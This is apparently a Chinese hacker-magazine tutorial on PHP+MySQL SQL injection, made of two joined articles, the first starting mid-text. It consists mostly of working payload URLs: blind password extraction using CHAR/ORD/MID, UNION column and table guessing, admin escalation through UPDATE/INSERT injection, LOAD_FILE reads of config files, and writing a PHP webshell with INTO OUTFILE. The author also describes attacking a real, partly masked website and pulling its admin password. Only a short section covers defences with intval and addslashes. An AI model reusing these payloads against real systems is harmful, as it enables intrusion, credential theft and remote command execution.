们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:

SELECT * FROM user WHERE username=’angel’


如何使$username不带引号呢?很简单我们这样提交就可以了。

SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制。
SELECT * FROM user WHERE username=0×616E67656C
# 0×616E67656C 相当于angel,十六进制。


其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子(user,php),我们把查询条件改为userid:

SELECT * FROM user WHERE userid=userid


按照正常的,提交:

http://127.0.0.1/injection/user.php?userid=1


就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们构造:

http://127.0.0.1/injection/user.php?userid=1 and password=mypass


绝对错误,因为mypass是字符串,除非提交:

http://127.0.0.1/injection/user.php?userid=1 and password=‘mypass’


由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/’,我们有什么办法可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)


正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解!

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)


正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)


又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)


然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还是可以用比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)


而原来已经猜好的不用改变了,很快就可以猜完:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)




然后在mysql>命令提示符下或者在phpMyadmin里面执行:

select char(109,121,112,97,115,115)


就会返回:mypass




然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos 位置起返回
 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段的第三位、第四位试试,第三位是p,第四位是a,我们
这样构造:

http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)


我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进行比较、当然得出的结果也就快多了,也就是这样提交:

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112


这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大家可以自己去试验,限于篇幅也不多说了。

3、快速确定未知数据结构的字段及类型

如果不清楚数据结构,很难用UNION联合查询,这里我告诉大家一个小技巧,也是非常有用非常必要的技巧,充分发挥UNION的特性。
还是拿前面的show.php文件做例子,当我们看到形如xxx.php?id=xxx的URL的时候,如果要UNION,就要知道这个xxx.php查询的数据表的结构,我们可以这样提交来快速确定有多少个字段:

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1



多少个”1″就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果字段数猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数
据类型,其实也很容易,随便用几个字母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还是用char()函数,
char(97)表示字母”a”,如下:

http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)


如果是字符串,那就会正常显示”a”,如果不是字符串或文本,也就是说是整形或布尔形,就会返回”0″,如图:





断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判断,因为程序的代码是千变万化的,我们这里是只是举个最简单的例子,这
里由于局限性,程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活运用才是根本。


4、猜数据表名


快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构,那就是猜表名,其实使用UNION联合查询的时候,不管后面的查询怎么
“畸形”,只要没有语句上的问题,都会正确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我们提交:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1


返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入from table_name,也就是这样:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user



果这个表是存在的,那么同样会返回应该显示的内容,如果表不存在,当然就会出错了,所以我的思路是先获得有漏洞的文件所查询表的数据结构,确定结果后再进
一步查询表,这个手工操作是没有效率的问题的,不到一分钟就可以查询到了,比如我们在测试www.***bai.net就是这样,后面的实例会涉及到。

但是有一个问题,由于很多情况下,很多程序的数据表都会有一个前缀,有这个前缀就可以让多个程序共用一个数据库。比如:

site_article
site_user
site_download
forum_user
forum_post
……


如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表名列表来跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫^_^……

实例


面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为HB
(www.***bai.net),HB使用的是夜猫的文章系统和下载系统,不过文章系统已经升级了,我们就不看了,下载系统是绝对有问题的,不过由于我
现在写文章的电脑不上网,我用相同的下载系统在本地进行一次模拟的测试。实际上,我事前早用更狠毒的技术渗透过HB。
首先我们找到有问题的文件,show.php?id=1,我们马上看看数据结构和表名,看看HB有没有改字段和表名,我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段,就提交:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1


注意,这里有19个”1″,返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了,直接看看夜猫的默认用户数据表是否存在:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user


正常返回,如图,如果URL不清楚可以看标题那里:


嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在?

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1


忘记了,就算不存在id为1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,我们只能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文件里面有这样一段代码:

if ($id > ”0″ && $id < ”999999999″ ):
//这里是正确执行的代码
else:
echo ”<p><center><a href=./list.php>无记录</a></p>\n”;


也就是说我们的ID的值再怎么离谱也不能在0和999999999之外,HB的软件肯定不会超过10000个的,我们就提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1


正常返回了,表格里的数据全部是”1″,说明ID还在哦。如果不存在的话,页面只返回的数据全部是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是不是管理员才行啊:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1


程序规定groupid为1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴出我们需要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,所以我们应该看它的数据结构。

CREATE TABLE ymdown (
id int(10) unsigned NOT NULL auto_increment,
name varchar(100) NOT NULL,
updatetime varchar(20) NOT NULL,
size varchar(100) NOT NULL,
empower varchar(100) NOT NULL,
os varchar(100) NOT NULL,
grade smallint(6) DEFAULT ’0′ NOT NULL,
viewnum int(10) DEFAULT ’0′ NOT NULL,
downnum int(10) DEFAULT ’0′ NOT NULL,
homepage varchar(100),
demo varchar(100),
brief mediumtext,
img varchar(100),
sort2id smallint(6) DEFAULT ’0′ NOT NULL,
down1 varchar(100) NOT NULL,
down2 varchar(100),
down3 varchar(100),
down4 varchar(100),
down5 varchar(100),
PRIMARY KEY (id)
);



户名和密码的数据类型都是varchar,所以我们要选择ymdown表里数据类型是varchar来,如果把varchar的数据写到int的地方当然
是不可能显示的了,由于updatetime(更新日期)的长度是20,可能会出现显示不完全的情况,我们就把用户名显示在name(软件标题)那里,密
码显示在size(文件大小)那里好了,在19个”1″中,name和size分别是第二个和第四个,我们提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1


结果成功返回了我们所需要的用户名和密码,如图:



验证测试结果

整个渗透过程就结束了,不过由于黑白把入口给改了,无法登陆,但我们仅仅测试注入,目的已经达到了,就没有必要进后台了,我后来又继续构造SQL语句来验证我们获取的密码是否正确,依次提交:

http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
#验证第二位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
#验证第三位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
#验证第四位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
#验证第五位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
#验证第六位密码


用select char(49,50,51,52,53,54)就可以得到123456。
OK!测试结束,验证我们的结果没有错误。说明一下,密码本身是123456,可以不用ord()函数而直接猜,但为了大家能看到一个完整的过程,我还是”专业”一点好了。下面补一幅截图,是本文写完后,重新测试HB时截取的:




注入的防范



范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很多了,无非就是把magic_quotes_gpc设置为On,
display_errors设置为Off,这里也就不在多说,既然本文接触都是程序的问题,我们还是从程序本身寻找原因。
如果说php比asp易用,安全,从内置的函数就可以体现出来。如果是整形的变量,只需使用一个intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很安全的了:

$id = intval($id);
mysql_query(“SELECT * FROM article WHERE articleid=’$id’”);


或者这样写:

mysql_query(“SELECT * FROM article WHERE articleid=”.intval($id).”")


不管如何构造,最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写,非常简洁。

符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和magic_quotes_gpc一样,使用后,所有的 ’ (单引
号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php,就算magic_quotes_gpc
打开了,再使用addslashes()函数,也不会有冲突,可以放心使用。例子如下:

$username = addslashes($username);
mysql_query(“SELECT * FROM members WHERE userid=’$username’”);


或者这样写:

mysql_query(“SELECT * FROM members WHERE userid=”.addslashes($username).”")


使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把”_”、”%”转换为”\_”"\%”就可以了,当然也不要忘记使用addslashes()函数。具体代码如下:

$keywords = addslashes($keywords);
$keywords = str_replace(“_”,”\_”,$keywords);
$keywords = str_replace(“%”,”\%”,$keywords);


不用像ASP那样,过滤一点变量,就要写一大堆的代码,就是上面的一点点代码,我们就可以把本文所有的问题解决了,是不是很简便?


后记


这篇文章是我自2004年3月份以来利用课余时间学习研究的,5月中旬写完,里面的所有东西都是经过我亲自测试的,本文仅仅算是技术总结吧,还有很多技术难点没有解决的,因此错漏是难免的,欢迎请大家指正。

有不少危险性极高的东西,只要少数条件成立,一般都可以进入服务器,考虑到严重性和广泛性,我并没有写出来,我个人估计,不久将会出现PHP+MYSQL
注入的一系列工具,技术也会普及和告诉发展。但我建议大家一定要弄清楚原理,工具只是武器,技术才是灵魂,工具只是提高效率罢了,并不代表你的技术高超。

大家看到这篇文章的时候,估计我已经高考完了,暑假我会写一篇更深入的研究。
为了让更多人了解并掌握PHP+MYSQL的注入技术,我才写了这篇文章,并决定发表,再重申一次。不要对任何国家的任何合法主机进行破坏,否则后果自负。

渗透过关非常轻松
一切都尽在我掌握中
越来越接近管理员
今天的心情是大不同啊大不同

Php+Mysql注入专题

Php注入攻击是现今最流行的攻击方式,依靠它强大的灵活性吸引了广大黑迷。

在上一期的《php安全与注射专题》中林.linx主要讲述了php程序的各种漏洞,也讲到了php+mysql注入的问题,可是讲的注入的问题比较少,让我们感觉没有尽兴是吧.
OK,这一期我将给大家伙仔仔细细的吹一吹php+mysql注入,一定让你满载而归哦(谁扔砖头哩!)。
本文主要是为小菜们服务的,如果你已经是一只老鸟呢,可能某些东西会感觉比较乏味,但只要你仔细的看,你会发现很多有趣的东西哦。

阅读此文你只要明白下面的这点东西就够了。

1.明白php+mysql环境是如何搭建的,在光盘中我们收录搭建的相关文章,如果您对搭建php+mysql环境不是很清楚,请先查阅此文,在上一期的专题中也有所介绍。
2.大概了解php和apache的配置,主要用到php.ini和httpd.conf
而此文我们主要用到的是php.ini的配置。为了安全起见我们一般都打开php.ini里的安全模式,即让safe_mode = On,还有一个就是返回php执行错误的display_errors 这会返回很多有用的信息,所以我们应该关闭之,
即让display_errors=off  关闭错误显示后,php函数执行错误的信息将不会再显示给用户。
在php的配置文件php.ini中还有一个非常重要的配置选项magic_quotes_gpc,高版本的默认都是magic_quotes_gpc=On,只有在原来的古董级的php中的
默认配置是magic_quotes_gpc=Off,可是古董的东西也有人用的哦!
当php.ini
中magic_quotes_gpc=On的时候会有什么情况发生哩,不用惊慌,天是塌不下来的啦!它只是把提交的变量中所有的 ‘ (单引号), “
(双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符,例如把’变成了\’,把\变成了\\。
就是这一点,让我们很不爽哦,很多时候我们对字符型的就只好说BYEBYE了,
但是不用气馁,我们还是会有好方法来对付它的,往下看咯!
3.有一定的php语言基础和了解一些sql语句,这些都很简单,我们用到的东西很少,所以充电还来的及哦!

我们先来看看magic_quotes_gpc=Off的时候我们能干些啥,然后我们再想办法搞一搞magic_quotes_gpc=On的情况哈

一:magic_quotes_gpc=Off时的注入攻击
magic_quotes_gpc=Off的情况虽然说很不安全,新版本默认也让
magic_quotes_gpc=On了,可是在很多服务器中我们还发现magic_quotes_gpc=Off的情况,例如www.qichi.*。
还有某些程序像vbb论坛就算你配置magic_quotes_gpc=On,它也会自动消除转义字符让我们有机可乘,所以说
magic_quotes_gpc=Off的注入方式还是大有市场的。

下面我们将从语法,注入点 and 注入类型几个方面来详细讲解mysql+php注入

A:从MYSQL语法方面先
  1。先讲一些mysql的基本语法,算是给没有好好学习的孩子补课了哦~_~
      1)select
    SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT]
    select_expression,…
    [INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
    [FROM table_references
        [WHERE where_definition]
        [GROUP BY col_name,...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,…]
      ]
常用的就是这些,select_expression指想要检索的列,后面我们可以用where来限制条件,我们也可以用into outfile将select结果输出到文件中。当然我们也可以用select直接输出
例如

mysql> select ‘a’;
+—+
| a |
+—+
| a |
+—+
1 row in set (0.00 sec)
具体内容请看mysql中文手册7.12节
下面说一些利用啦
看代码先
这段代码是用来搜索的哦

<form method=“POST” action=“<? echo $PHP_SELF; ?>“>
<input type=“text” name=“search”><br>
<input type=“submit” value=“Search”>
</form>
<?php
………
SELECT * FROM users WHERE username LIKE ‘%$search%’ ORDER BY username
…….
?>


里我们顺便说一下mysql中的通配符,’%’就是通配符,其它的通配符还有’*’和’_’,其中” * “用来匹配字段名,而” %
“用来匹配字段值,注意的是%必须与like一起适用,还有一个通配符,就是下划线” _
“,它代表的意思和上面不同,是用来匹配任何单个的字符的。在上面的代码中我们用到了’*’表示返回的所有字段名,%$search%表示所有包含$
search字符的内容。

我们如何注入哩?
哈哈,和asp里很相似
在表单里提交
Aabb%’ or 1=1 order by id#
注:#在mysql中表示注释的意思,即让后面的sql语句不执行,后面将讲到。
或许有人会问为什么要用or 1=1呢,看下面,

把提交的内容带入到sql语句中成为

SELECT * FROM users WHERE username LIKE ‘%aabb%’ or 1=1 order by id# ORDER BY username

假如没有含有aabb的用户名,那么or 1=1使返回值仍为真,使能返回所有值

我们还可以这样

在表单里提交
%’ order by id#
或者
’ order by id#
带入sql语句中成了
SELECT * FROM users WHERE username LIKE ‘% %’ order by id# ORDER BY username

SELECT * FROM users WHERE username LIKE ‘%%’ order by id# ORDER BY username
当然了,内容全部返回。
列出所有用户了哟,没准连密码都出来哩。
这里就举个例子先,下面会有更精妙的select语句出现,select实际上几乎是无处不在的哦!
2)下面看update咯
Mysql中文手册里这么解释的:
UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,…
        [WHERE where_definition]
UPDATE用新值更新现存表中行的列,SET子句指出哪个列要修改和他们应该被给定的值,WHERE子句,如果给出,指定哪个行应该被更新,否则所有行被更新。
详细内容去看mysql中文手册7.17节啦,在这里详细介绍的话会很罗嗦的哦。
由上可知update主要用于数据的更新,例如文章的修改,用户资料的修改,我们似乎更关心后者,因为……
看代码先哦
我们先给出表的结构,这样大家看的明白
CREATE TABLE users (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
其中userlevel表示等级,1为管理员,2为普通用户
<?php
//change.php
……
$sql = “UPDATE users SET password=’$pass’, email=’$email’ WHERE id=’$id’”
……
?>
Ok,我们开始注入了哦,在添email的地方我们添入
netsh@163.com’,userlevel=’1
sql语句执行的就是
UPDATE users SET password=’youpass’,
email=’netsh@163.com’,userlevel=’1’ WHERE id=’youid’
看看我们的userlevel就是1了,变成管理员了哟
哈哈,如此之爽,简直是居家旅行必备啊。

里我们简单提一下单引号闭合的问题,如果只用了一个单引号而没有单引号与之组成一对,系统会返回错误。列类型主要分为数字类型,日期和时间类型,字符串类
型,然而引号一般用在字符串类型里,而在数字类型里一般人都不会用到引号(然而却是可以用的,而且威力很大),日期和时间类型就很少用于注入了(因为很少
有提交时间变量的)。在下面我们会详细将这几种类型的注入方式哦!

3)下面轮到insert了,它已经等的不耐烦了,简直就像中午食堂里的学生们。
Php中文手册是这样教我们的:
INSERT [LOW_PRIORITY | DELAYED] [IGNORE]
        [INTO] tbl_name [(col_name,...)]
        VALUES (expression,…),(…),…
INSERT
把新行插入到一个存在的表中,INSERT … VALUES形式的语句基于明确指定的值插入行,INSERT …
SELECT形式插入从其他表选择的行,有多个值表的INSERT … VALUES的形式在MySQL
3.22.5或以后版本中支持,col_name=expression语法在MySQL 3.22.10或以后版本中支持。
由此可见对于见不到后台的我们来说,insert主要就出现在注册的地方,或者有其它提交的地方地方也可以哦。

看看表的结构先
CREATE TABLE membres (
id varchar(15) NOT NULL default ”,
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
我们仍然假设userlevel表示用户等级,1为管理者,2为普通用户哈。
代码如下
<?php
//reg.php
……
$query = “INSERT INTO members VALUES(‘$id’,'$login’,'$pass’,'$email’,’2′)” ;
……
?>
默认插入用户等级是2
现在我们构建注入语句了哦
还是在要我们输入email的地方输入:
netsh@163.com’,’1’)#
sql语句执行时变成了:
INSERT INTO membres VALUES (‘youid’,'youname’,'youpass’,’ netsh@163.com’,’1’)#’,?’)
看我们一注册就是管理员了。
#号表示什么来着,不是忘了吧,晕了,这么快?
忘就忘了吧,下面再详细给你说说

2.下面说一说mysql中的注释,这个是很重要的,大家可不能再睡觉啦,要是再睡觉到期末考试的时候就挂了你们。
我们继续
相信大家在上面的几个例子中已经看到注释的强大作用了吧,这里我们将再详细介绍一下。
Mysql有3种注释句法
# 注射掉注释符后面的本行内容
– 注射效果同#
/* … */  注释掉符号中间的部分

对于#号将是我们最常用的注释方法。
– 号记得后面还得有一个空格才能起注释作用。
/*…*/  我们一般只用前面的/*就够了,因为后面的我们想加也不行,是吧?

注意:在浏览器地址栏输入#时应把它写成%23,这样经urlencode转换后才能成为#,从而起到注释的作用。#号在浏览器的地址框中输入的话可什么也不是哦。
为了大家深刻理解
这里我给大家来个例题

有如下的管理员信息表

CREATE TABLE alphaauthor (
  Id tinyint(4) NOT NULL auto_increment,
  UserName varchar(50) NOT NULL default ”,
  PASSWORD varchar(50) default NULL,
  Name varchar(50) default NULL,
  PRIMARY KEY  (Id),
  UNIQUE KEY Id (Id),
  KEY Id_2 (Id)
)

<?php
//Login.php
……
$query=”select * from alphaauthor where UserName=’$username’ and Password=’$passwd’”;
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
    {
    Echo “重要信息”;
    }
    Else
    Echo “登陆失败”;
……
?>

我们在浏览器地址框直接输入
http://***/login.php?username=a’or id=1 %23
%23转换成#了
放到sql语句中
select * from alphaauthor where UserName=’a’or id=1 #’ and Password=’$passwd’
#号后面的都拜输入了,看看
这句话等价于
select * from alphaauthor where UserName=’a’or id=1

再仔细看看表的结构,只要有id=1的账户,返回的$data就应该为真
我们就直接登陆了,当然你也可以写
hppt://***/login.php?username=a’or 1=1 %23
一样的啦

3.下面将要出场的是……
对了,就是这些显示系统信息的间谍们

VERSION() 返回数据库版本信息
DATABASE() 返回当前的数据库名字,如果没有当前的数据库,DATABASE()返回空字符串。
USER()
SYSTEM_USER()
SESSION_USER()
返回当前MySQL用户名
mysql> select user(),database(),version();
+—————-+————+—————-+
| user()         | database() | version()      |
+—————-+————+—————-+
| root@localhost | alpha      | 5.0.0-alpha-nt |
+—————-+————+—————-+
1 row in set (0.01 sec)
如图(1)所示,图不是很爽是不是?睁大你的大眼睛好好看哦

有时候很有用的哦,比如说你可以根据他的mysql版本看看他的mysql有没有什么溢出漏洞,没准我们就发现个好动东哈哈

4. 下面进入最重要的部分了,没睡觉的打起精神来,睡着了的醒一醒啦。
1)select union select
还是php中文手册中讲的:
SELECT … UNION [ALL] SELECT … [UNION SELECT ...]
UNION 在 MySQL 4.0.0 中被实现。
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。

在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
SELECT 命令是一个普通的选择命令,但是有下列的限制:
只有最后一个 SELECT 命令可以有 INTO OUTFILE。

需要注意的是union前后的select字段数相同,只有这样union函数才能发挥作用。如果字段数不等将返回
ERROR 1222 (21000): The used SELECT statements have a different number of columns 错误
晕咯,这样不好吧。咋半哩?
别急哈,急也没用的
例如:
已知alphadb表有11列
我们
mysql> select * from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor;
如图(2)

我们只slect了10个数当然出错啦。
下面看
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图(3)

我们看看id=247中的数据先
mysql> select * from alphadb where id=347;
+—–+——————————————–+—————–
| id  | title | content | importtime | author | accessing | addInto | type | showup | change_ubb | change_html |
+—–+——————————————–+—————–
| 347 | 利用adsutil.vbs+..–发表于黑客档案2004.6期 | 发表于黑客x档案第6期 | 2004
-03-28 11:50:50 | Alpha  | 17 | Alpha  |    2 |   1 |    1 |  1 |
+—–+——————————————–+—————–
1 row in set (0.00 sec)
我们看到,它的返回结果和
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
是相同的。
哦,大家或许会问,这样有什么用呢?
问的好。
Ok,继续试验
当我们输入一个不存在的id的时候
例如id=0,或者id=347 and 1<>1
再看看
mysql> select * from alphadb where id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图(4)

我们发现它把我们后面的1,2,3,4,5,6,7,8,9,10,11赋给了各个字段来显示。
哈哈,终于显示不一样了,可是这有什么用呢?
先不告诉你。
我们讲一个具体的例子先
http://localhost/site/display.php?id=347
看看图5

http://localhost/site/display.php?id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor
结果如图6

下面我们用一幅图来总结一下union的用法如图7

Ok,知道怎么利用了不?不知道的话下面将会详细告诉你。
2)LOAD_FILE
这个功能太强大了,这也是林.linx在上一个专题中提到的方法。虽然说过了,可我也不得不再提出来。
Load_file可以返回文件的内容,记得写全文件的路径和文件名称
Etc.
我们在mysql的命令行下输入

mysql> select load_file(‘c:/boot.ini’);
效果如图(8)

可是我们在网页中怎么搞呢?
我们可以结合union select使用
http://localhost/site/display.php?id=347%20and%201<>1%20union%20select%201,2,load_file(‘c:/apache/htdocs/site/lib/sql.inc’),4,5,6,7,8,9,10,11

这里的c:/apache/htdocs/site/lib/sql.inc并不是我的配置文件哦,:P
看仔细图9中的

看看,文件内容暴露无疑。

们为什么要把load_file(‘c:/apache/htdocs/site/lib/sql.inc’)放在3字段呢?我们前面提到列类型一共有那
么三种,而原来图7中显示3的地方应该是显示文章内容,应该是字符型的,而load_file(‘c:
/apache/htdocs/site/lib/sql.inc’)也一定是字符型的,所以我们猜测放在3字段可以顺利显示。
其实还有很多好的利用方法,继续往下看哦!
3) select * from table into outfile’file.txt’
有啥用哩?
作用就是把表的内容写入文件,知道有多重要了吧,我们写个webshell吧,哈哈。
当然我们不只是导出表,我们还可以导出其它东西的哦,往下看啦。
假设有如下表

#
# 数据表的结构 `test`
#

CREATE TABLE test (
  a text,
  b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

#
# 导出下面的数据库内容 `test`
#

INSERT INTO test VALUES (‘<?php system($cmd); ?>’, NULL);

已知我的网站路径在C:/apache/htdocs/site/
好,看你表演哦,输入
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,a,4,5,6,7,8,9,10,11%20from%20test%20into%20outfile%20′C:/apache/htdocs/site/cmd.php’

意思就是把表里的a列内容导出到cmd.phpzhong
看看cmd.php里的内容先
1    2    <?php system($cmd); ?>    0000-00-00 00:00:00    5    6    7    8    9    10    11
我们执行一下看看先
http://localhost/site/cmd.php?cmd=dir
如图(10)


哈哈,果然很爽哦!
4)下面给大家讲述LOAD DATA INFILE的故事

LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE ‘file_name.txt’ [REPLACE | IGNORE] INTO TABLE tbl_name

LOAD DATA INFILE语句从一个文本文件中以很高的速度读入一个表中。
因为这个语句一般情况下不能在浏览器里直接输入,所以作用不是很大。

这里举个例子来说说
表test的结构和上面介绍的一样

#
# 数据表的结构 `test`
#

CREATE TABLE test (
  a text,
  b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;


我们在mysql命令行下输入:
Mysql>load data infile ‘c:/cmd.php’ into table test

其中c:/cmd.php内容为
<?php system($cmd); ?>
注意:上面的内容写在一行里哦。
通过上面的指令我们就把cmd.asp的内容输入到了test表中
所得结果如图(11)

实际上得到的就是上个例子test表中的内容!看看,再结合into outfile,是不是一个完美的组合呢。
基本的语法就将到这里了,可能还有很多重要的东西漏掉了哦,你可以去php中文手册里淘金,相信你一定会找到很多好东西的,自己挖掘吧。(随光盘我们付上一个php中文手册)

B:从注入方式上
主要有数字型,字符型和搜索类
1.    数字型
很常见了,我们上面举的就一直是字符型的例子,大家应该还都记得asp下如何破管理员密码,下面我们来看一下php下如何实现
我们在地址栏输入:
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor)
判断是否存在alphaauthor,如果有返回正常页面(一般情况啦,有的时候也返回其它什么的,这主要根据构造1=1 和1=2时的页面判断)

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5)
判断是否username字段的长度为5

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5%20and%20length(password)=32)

跟上面差不多啦,判断password字段的长度

下面进入猜密码的阶段,用ascii方法来一位一位猜测吧。Ascii等同于asp下的asc,哈哈,经常看黑客X档案的一定很清楚啦。
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,1,1))=97)

用户名第一位哦ascii97就是字符a啦

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,2,1))=108)

第二位啦,这里只放这一个图啦,如图(12)


下面省略X条。
反正我们最后是得出用户名和密码了。
我们会发现这里的注入方法几乎和asp下的注入是一样的,就是把asc变成ascii,把len变成length就可以了,最后我们就可以得到后台的管理员账号和密码,
当然我们有更简单的方法,可以直接用union的方法直接得到

http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor

如图(13)

账号是alpha,密码是一长串的东东,哈哈,简单明了,看到没有,这里显示出了union select的强大威力了吧。

